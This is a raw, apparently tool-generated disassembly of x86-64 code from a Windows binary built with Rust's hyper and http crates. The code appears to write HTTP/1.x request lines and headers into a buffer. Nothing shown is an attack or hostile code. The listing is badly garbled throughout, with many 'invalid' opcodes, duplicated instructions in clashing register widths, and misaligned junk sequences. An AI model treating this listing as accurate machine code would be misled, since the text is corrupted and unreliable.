mov rdx, qword [r9 + 0xe8]
sub rax, rdx
sub eax, edx
sub eax, edx
cmp rax, r8
cmp eax, eax
jb case.default.0x140094a12
add byte [rax], al
movzx eax, byte [rsi + 0xb8]
mov edi, 7
invalid
add byte [rax], al
invalid
add byte [rdi + 7], bh
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140174928]
lea rcx, [0x140174928]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
invalid
or dword [rax + 1], 0x48e0ffc8
add eax, ecx
jmp rax
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea edx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
jmp 0x140094abb
wait
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x140127d11]
lea rdx, [0x140127d11]
lea edx, [0x140127d11]
invalid
or dword [rax], eax
mov edi, 6
jmp 0x140094abb
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x38]
and al, 0x38
movzx edi, byte [rax + 0xc8]
cmp rdi, 0x10
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
call qword [rax]
invalid
adc byte [rdi], cl
and edi, 0xf
jae 0x140095a2e
add byte [rax], al
lea rdx, [rax + 0xb9]
mov ecx, 0xeb000000
jmp 0x140094abb
imul ecx, dword [rax - 0x73], 0x15
lea rdx, [0x140127d0a]
mov bl, 0x32
or dword [rax], eax
mov edi, 4
jmp 0x140094abb
lea rdx, [0x140127d0e]
lea edx, [0x140127d0e]
test eax, 0xbf000932
add eax, dword [rax]
add byte [rax], al
mov edi, 3
jmp 0x140094abb
lea rdx, [0x140127d20]
jmp 0x140094abb
lea rdx, [0x140127d07]
mov edi, 3
add byte [rax], al
add byte [rax], al
jmp 0x140094abb
lea rdx, [0x140127d17]
mov edi, 4
jmp 0x140094abb
lea rdx, [0x140127d1b]
jmp 0x140094ab6
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0xc0]
mov rdi, qword [rax + 0xc8]
add byte [rax], al
nop
rol byte [rax], 0
add byte [rax - 0x75], cl
mov eax, 0xc8
add byte [rax], al
add byte [rax], al
jmp 0x140094abb
lea rdx, [0x140127d27]
mov edi, 5
mov rax, qword [r9 + 0xd8]
mov rsi, qword [r9 + 0xe8]
sub rax, rsi
cmp rax, rdi
jb 0x140095366
mov rcx, qword [r9 + 0xe0]
add rcx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x28]
add rsi, rdi
mov qword [rcx + 0xe8], rsi
cmp qword [rcx + 0xd8], rsi
je 0x14009538b
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x75], cl
pop rsp
and al, 0x38
lea rax, [rbx + 0x60]
invalid
invalid
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x80], rax
lea rax, [0x140032430]
mov qword [rsp + 0x88], rax
lea rax, [0x140128cc0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
lea rdi, [rsp + 0x80]
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, [0x140128ce0]
lea rsi, [rsp + 0x1a0]
lea r8, [rsp + 0xb0]
mov rcx, rsi
call fcn.140013960
movzx eax, byte [rbx + 0xd8]
cmp eax, 1
je 0x14009530b
invalid
cmp eax, 2
je 0x140094bf3
cmp eax, 3
mov r10, qword [rsp + 0x28]
jne 0x140095926
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 8
jae 0x140094c1d
jmp 0x140095335
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 7
jbe 0x140095335
mov rax, qword [r10 + 0xe0]
mov qword [rax + rdx], rsi
add rdx, 8
mov qword [r10 + 0xe8], rdx
mov rax, qword [r10 + 0xd8]
sub rax, rdx
cmp rax, 1
jbe 0x1400953ad
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r10 + 0xe8], rdx
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0xd0]
test rcx, rcx
je 0x140094d5e
cmp qword [rcx + 0x18], 0
je 0x140094d5e
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rdx, 0x2b6832ec24abc004
xor r8d, r8d
movdqa xmm0, xmmword [0x14010f9e0]
pcmpeqd xmm1, xmm1
movabs rdi, 0xe32099525ba6306e
mov r9, rdx
and r9, rcx
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
nop word cs:[rax + rax]
test r10w, r10w
je 0x140094d10
tzcnt esi, r10d
lea r11d, [r10 - 1]
and r11d, r10d
mov r10d, r11d
add rsi, r9
and rsi, rcx
shl rsi, 5
mov r11, rax
sub r11, rsi
cmp qword [r11 - 0x20], rdi
jne 0x140094cd0
cmp qword [r11 - 0x18], rdx
jne 0x140094cd0
jmp 0x140094d33
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
mov r10, qword [rsp + 0x28]
jne 0x140094d5e
add r9, r8
add r9, 0x10
add r8, 0x10
jmp 0x140094cac
mov rsi, qword [r11 - 0x10]
mov rax, qword [r11 - 8]
mov rcx, rsi
call qword [rax + 0x18]
cmp rax, rdi
mov r10, qword [rsp + 0x28]
jne 0x140094d5e
movabs rax, 0x2b6832ec24abc004
cmp rdx, rax
je 0x1400953cc
test bpl, bpl
je 0x140095078
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x148], rcx
mov rcx, qword [rax + 0x28]
xor ebp, ebp
mov qword [rsp + 0x118], rcx
test rcx, rcx
sete bpl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x170], rcx
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x1c8], rax
add ebp, ebp
xor r13d, r13d
jmp 0x140094dc2
mov word [r12 + rdi], 0xa0d
add rdi, 2
mov qword [r10 + 0xe8], rdi
cmp rbp, 2
jne 0x140094df0
inc r13
cmp r13, qword [rsp + 0x118]
jae 0x1400953e4
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
jmp 0x140094e60
cmp r13, qword [rsp + 0x118]
jae 0x140095891
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x148]
cmp rbp, 1
jne 0x140094e60
mov rax, qword [rsp + 0x128]
cmp rax, qword [rsp + 0x170]
jae case.0x140091fd1.231
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x1c8]
lea rbx, [rdx + rax*8]
cmp qword [rdx + rax*8 + 0x10], 0
je 0x140094e7f
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x128], rax
mov ebp, 1
jmp 0x140094e84
mov rax, qword [rcx + 8]
mov qword [rsp + 0x128], rax
cmp qword [rcx], 1
mov ebp, 0
adc rbp, 1
lea rbx, [rcx + 0x18]
jmp 0x140094e88
mov ebp, 2
add rbx, 0x20
add rcx, 0x40
call fcn.14003a3a0
mov rsi, rax
mov r12, rdx
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
mov rax, r15
sub rax, rdi
cmp rax, rdx
jb 0x140094ffc
test r12, r12
je 0x140094f71
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x150], rbp
mov qword [rsp + 0x138], r13
mov r15b, 0x2d
xor r13d, r13d
jmp 0x140094f17
and r15b, bl
shl r15b, 5
xor r15b, bpl
mov rax, qword [r9 + 0xe0]
mov byte [rax + rdi], r15b
inc rdi
mov qword [r9 + 0xe8], rdi
inc r13
cmp r12, r13
je 0x140094f50
movzx ebp, byte [rsi + r13]
cmp r15b, 0x2d
sete r15b
lea eax, [rbp - 0x61]
cmp al, 0x1a
setb bl
cmp rdi, qword [r14]
jne 0x140094ef0
mov rcx, r14
call fcn.1400cf3b0
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
jmp 0x140094ef0
mov r15, qword [r14]
mov rax, r15
sub rax, rdi
mov r13, qword [rsp + 0x138]
mov rbp, qword [rsp + 0x150]
mov rbx, qword [rsp + 0x130]
cmp rax, 1
jbe 0x14009501b
mov r12, qword [r9 + 0xe0]
mov word [r12 + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov rdx, qword [rbx + 8]
mov rsi, qword [rbx + 0x10]
mov rax, r15
sub rax, rdi
cmp rax, rsi
jb 0x140095044
lea rcx, [r12 + rdi]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rdi, rsi
mov r10, qword [rsp + 0x28]
mov qword [r10 + 0xe8], rdi
sub r15, rdi
cmp r15, 1
ja 0x140094db0
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140104c70
mov r10, qword [rsp + 0x28]
mov r12, qword [r10 + 0xe0]
mov rdi, qword [r10 + 0xe8]
jmp 0x140094db0
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.140104c70
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
jmp 0x140094ec2
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140104c70
mov r9, qword [rsp + 0x28]
mov r15, qword [r9 + 0xd8]
mov rdi, qword [r9 + 0xe8]
jmp 0x140094f7b
mov rcx, r14
mov rbx, rdx
mov rdx, rdi
mov r8, rsi
mov r12, r9
call fcn.140104c70
mov rdx, rbx
mov rdi, qword [r12 + 0xe8]
mov r15, qword [r12 + 0xd8]
mov r12, qword [r12 + 0xe0]
jmp 0x140094fab
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x128], rcx
mov rcx, qword [rax + 0x28]
xor ebx, ebx
mov qword [rsp + 0x130], rcx
test rcx, rcx
sete bl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x118], rcx
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x148], rax
add ebx, ebx
xor r13d, r13d
jmp 0x1400950d8
mov rax, qword [r10 + 0xe0]
mov word [rax + rdi], 0xa0d
add rdi, 2
mov qword [r10 + 0xe8], rdi
cmp rbx, 2
jne 0x140095110
inc r13
cmp r13, qword [rsp + 0x130]
jae 0x1400953e4
mov qword [rsp + 0x138], r13
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
jmp 0x140095180
cmp r13, qword [rsp + 0x130]
jae 0x1400958a8
imul rcx, r13, 0x68
add rcx, qword [rsp + 0x128]
cmp rbx, 1
mov qword [rsp + 0x138], r13
jne 0x140095180
mov rax, qword [rsp + 0x150]
cmp rax, qword [rsp + 0x118]
jae 0x1400958d6
lea rax, [rax + rax*8]
mov rdx, qword [rsp + 0x148]
lea rbp, [rdx + rax*8]
cmp qword [rdx + rax*8 + 0x10], 0
je 0x14009519f
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x150], rax
mov ebx, 1
jmp 0x1400951a4
mov rax, qword [rcx + 8]
mov qword [rsp + 0x150], rax
cmp qword [rcx], 1
mov ebx, 0
adc rbx, 1
lea rbp, [rcx + 0x18]
jmp 0x1400951a8
mov ebx, 2
add rbp, 0x20
add rcx, 0x40
call fcn.14003a3a0
mov r12, rax
mov rdi, rdx
mov rcx, qword [rsp + 0x28]
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
mov rax, r13
sub rax, r15
cmp rax, rdx
jb 0x140095291
mov rsi, qword [rcx + 0xe0]
lea rcx, [rsi + r15]
mov rdx, r12
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r9, qword [rsp + 0x28]
add rdi, r15
mov qword [r9 + 0xe8], rdi
mov rax, r13
sub rax, rdi
cmp rax, 1
jbe 0x1400952b7
mov word [rsi + rdi], 0x203a
add rdi, 2
mov qword [r9 + 0xe8], rdi
mov r15, qword [rbp + 8]
mov r12, qword [rbp + 0x10]
sub r13, rdi
cmp r13, r12
jb 0x1400952e7
mov r13, qword [rsp + 0x138]
add rsi, rdi
mov rcx, rsi
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rdi, r12
mov r10, qword [rsp + 0x28]
mov qword [r10 + 0xe8], rdi
mov rax, qword [r10 + 0xd8]
sub rax, rdi
cmp rax, 1
ja 0x1400950c0
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140104c70
mov r10, qword [rsp + 0x28]
mov rdi, qword [r10 + 0xe8]
add cl, ch
invalid
invalid
invalid
invalid
add cl, ch
invalid
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.140104c70
mov rcx, qword [rsp + 0x28]
mov r13, qword [rcx + 0xd8]
mov r15, qword [rcx + 0xe8]
jmp 0x1400951d9
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.140104c70
mov r9, qword [rsp + 0x28]
mov rdi, qword [r9 + 0xe8]
mov r13, qword [r9 + 0xd8]
mov rsi, qword [r9 + 0xe0]
jmp 0x14009520e
mov rcx, r14
mov rdx, rdi
mov r8, r12
mov rdi, r9
call fcn.140104c70
mov rsi, qword [rdi + 0xe0]
mov rdi, qword [rdi + 0xe8]
jmp 0x140095233
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
movabs rsi, 0x302e312f50545448
cmp rax, 8
jae 0x140094c1d
mov r8d, 8
mov rcx, r14
call fcn.140104c70
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x140094c1d
mov rcx, r14
call fcn.140104c70
mov r9, qword [rsp + 0x28]
jmp 0x1400949f8
mov rcx, r14
mov rbx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140104c70
mov r9, qword [rsp + 0x28]
mov rdx, rbx
mov rsi, qword [r9 + 0xe8]
jmp 0x140094ad5
mov r8d, 2
mov rcx, r14
call fcn.140104c70
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x140094c47
mov rcx, qword [rsp + 0x38]
mov rdx, rsi
mov r8, r14
mov r9d, ebp
call fcn.140105b60
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
cmp rax, 1
jbe case.0x140091fd1.230
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r10 + 0xe8], rdx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x28]
mov qword [rbx + 0x28], 0
test rdi, rdi
je 0x140095475
add rsi, 0x30
jmp 0x14009545b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x140095475
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140095440
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x140095440
mov rsi, qword [rbx + 0x38]
mov rdi, qword [rbx + 0x40]
mov qword [rbx + 0x40], 0
test rdi, rdi
je 0x1400954ab
add rsi, 0x38
nop
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x140095490
mov qword [rbx], 0
mov rax, qword [rbx + 0x50]
test rax, rax
je 0x14009552f
mov rcx, qword [rbx + 0x48]
lea rdx, [rax - 1]
movabs r8, 0x3fffffffffffffff
and r8, rdx
mov rdx, rcx
cmp r8, 7
jb 0x14009551b
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
mov rax, qword [rsp + 0x178]
cmp rax, 2
mov rcx, qword [rsp + 0x28]
je 0x1400955f9
xchg dword [rax - 0x1000000], eax
push rax
adc byte [rax - 0x73], cl
invalid
invalid
invalid
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, 2
mov rcx, r14
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
call fcn.140104c70
mov r10, qword [rsp + 0x28]
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
mov rdx, qword [r10 + 0xe8]
jmp 0x1400953ff
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
add eax, 0xa94a0
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, qword [rsp + 0x118]
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
mov dword [rdx + rcx - 0x1676b400], edx
mov rdx, qword [rsp + 0x130]
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x170]
call fcn.140104670
invalid
in eax, dx
invalid
invalid
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x118]
call fcn.140104670
in eax, dx
invalid
invalid
in eax, dx
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
add byte [rcx + rcx*4 - 0x17], cl
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
or al, byte gs:[rax]
mov rcx, r13
mov ecx, ebp
call fcn.140104670
mov byte [rsp + 0x1a0], al
mov qword [rsp + 0x80], rsi
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff9ca74
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff9ca74
mov qword [rsp + 0x88], rax
lea rax, str.unexpected_request_version:
mov qword [rsp + 0xb0], rax
invalid
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
mov qword [rsp + 0xb8], 1
mov qword [rsp + 0xd0], 0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
xor ecx, dword [rcx]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
invalid
lea rcx, [rsp + 0xb0]
call fcn.140104620
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x140127648]
lea r8, [rsp + 0x37]
mov edx, 0x17
call fcn.1401049b0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov eax, 0x2000000
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov eax, 0x2000000
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0xb0]
call fcn.140104620
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
bnd jmp 0x140095a33
lea r8, [0x140126268]
or dword [rax], eax
mov edx, 0xf
mov rcx, rdi
call fcn.1401046e0
in al, dx
invalid
invalid
in al, dx
invalid
call fcn.140010910
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013b958]
lea r8, [rsp + 0x37]
and al, 0x37
mov edx, 0x17
add byte [rax], al
add al, ch
out dx, eax
invalid
invalid
add byte [rax], al
add al, ch
out dx, eax
invalid
mov ecx, 1
mov rdx, rdi
call fcn.140104360
invalid
add byte [rcx + 1], bh
mov ecx, 1
mov rdx, rsi
call fcn.140104360
invalid
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x10
add dword [rax], eax
add byte [rax], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x110], r15
add byte [rax], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x110]
lea rcx, [rsp + 0x110]
add byte [rax], al
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rax, str.cannot_advance_past__remaining_:___
lea eax, [0x14014bc30]
lea eax, [0x14014bc30]
mov qword [rsp + 0xb0], rax
add byte [rax], al
mov qword [rsp + 0xb8], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 2
enter 0, 0
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
enter 0, 0
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
enter 0, 0
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0xb0]
call fcn.140104620
adc al, 0xeb
invalid
invalid
adc al, 0xeb
invalid
mov ecx, 8
mov edx, 0x18
call fcn.140104380
add byte [rax], al
add al, ch
call 0xcd515b23
add eax, 0xa9b5e
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14009599a
int3
int3
sub rsp, 0x58
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
add dword [rax - 0x77], ecx
ror dword [rax - 1], 0xc1
mov rcx, rax
inc rcx
je case.0x140069415.187
lea rdx, [rax + rax]
adc al, 0
cmp rdx, rcx
cmova rcx, rdx
cmova ecx, edx
cmova ecx, edx
retf 0xb849
movabs r8, 0x19999999999999a
xor edx, edx
cmp rcx, r8
cdq
cdq
cdq
cdq
cdq
add dword [rcx], esi
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf], cl
cmovae rdi, rcx
stc
stc
mov rcx, rdi
mov ecx, edi
shl rcx, 4
lea r8, [rcx + rcx*4]
shl edx, 3
loop 0x140095b83
loop 0x140095b83
test rax, rax
je 0x140095ba2
mov rcx, qword [rsi + 8]
shl rax, 4
loopne case.0x14006a01c.182
or byte [rax - 0x3f], r9b
loopne case.0x14006a01c.182
lea rax, [rax + rax*4]
lea eax, [rax + rax*4]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x50], rax
mov eax, 8
add bl, ch
invalid
add bl, ch
add dh, byte [rcx]
ror byte [rax - 0x77], 0x44
and al, 0x48
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.140038db0
call fcn.140038db0
cmp qword [rsp + 0x28], 0
jne 0x140095bda
invalid
sbb cl, byte [rax - 0x75]
and al, 0x30
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
add rsp, 0x58
invalid
pop rax
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.140104360
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
xor byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
call fcn.140104360
int3
int3
mov byte [rax], al
add byte [rax], al
mov rax, qword [rcx]
lea r8, [0x140174954]
lea eax, [0x140174954]
lea eax, [0x140174954]
or eax, 0x4634900
or byte [rcx + rax - 0x40], 0xff
jmp rax
invalid
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
mov rax, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
mov r8, rax
sub r8, rdx
jb 0x140095c97
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rdx
add rsp, 0x88
ret
add rcx, 8
add rsp, 0x88
invalid
mov byte [rax], al
add byte [rax], al
jmp fcn.140093960
invalid
mov rax, qword [rcx + 0x10]
mov r8, rax
sub r8, rdx
jb 0x140095c85
add qword [rcx + 8], rdx
mov qword [rcx + 0x10], r8
add rsp, 0x88
mov byte [rax], al
add byte [rax], al
invalid
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov rax, qword [rcx + 0x28]
sub rax, rdx
jb 0x140095c9e
mov qword [rsp + 0x28], rdx
mov r8, qword [rcx + 0x18]
mov r9, r8
sub r9, rdx
jb 0x140095cb6
mov qword [rcx + 0x18], r9
mov dword [rcx + 0x18], ecx
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
lea r8, [0x14013e028]
mov rcx, rdx
mov rdx, rax
call fcn.140104660
leave
invalid
invalid
invalid
leave
jmp 0xc9515c9f
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rax
jmp 0x140095cbb
lea rcx, [0x14013e63a]
lea r8, [0x14013e660]
mov edx, 0x23
call fcn.1401046f0
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
int3
int3
test dword [rdx], ecx
add byte [rcx - 0x48], al
invalid
and al, 0x28
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
xor dword [rax], eax
lea r8, [0x14013e248]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
lea edx, [rsp + 0x38]
call fcn.140016520
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
and al, 0x30
test rcx, rcx
je 0x140095de9
mov al, 1
test dl, dl
jne 0x140095deb
mov rsi, qword [rsp + 0x28]
and al, 0x28
cmp rcx, 1
jne 0x140095dcf
cmp byte [rsp + 0x31], 0
je 0x140095dcf
test byte [rsi + 0x34], 4
xor al, 4
add al, 0x75
and byte [rax - 0x75], cl
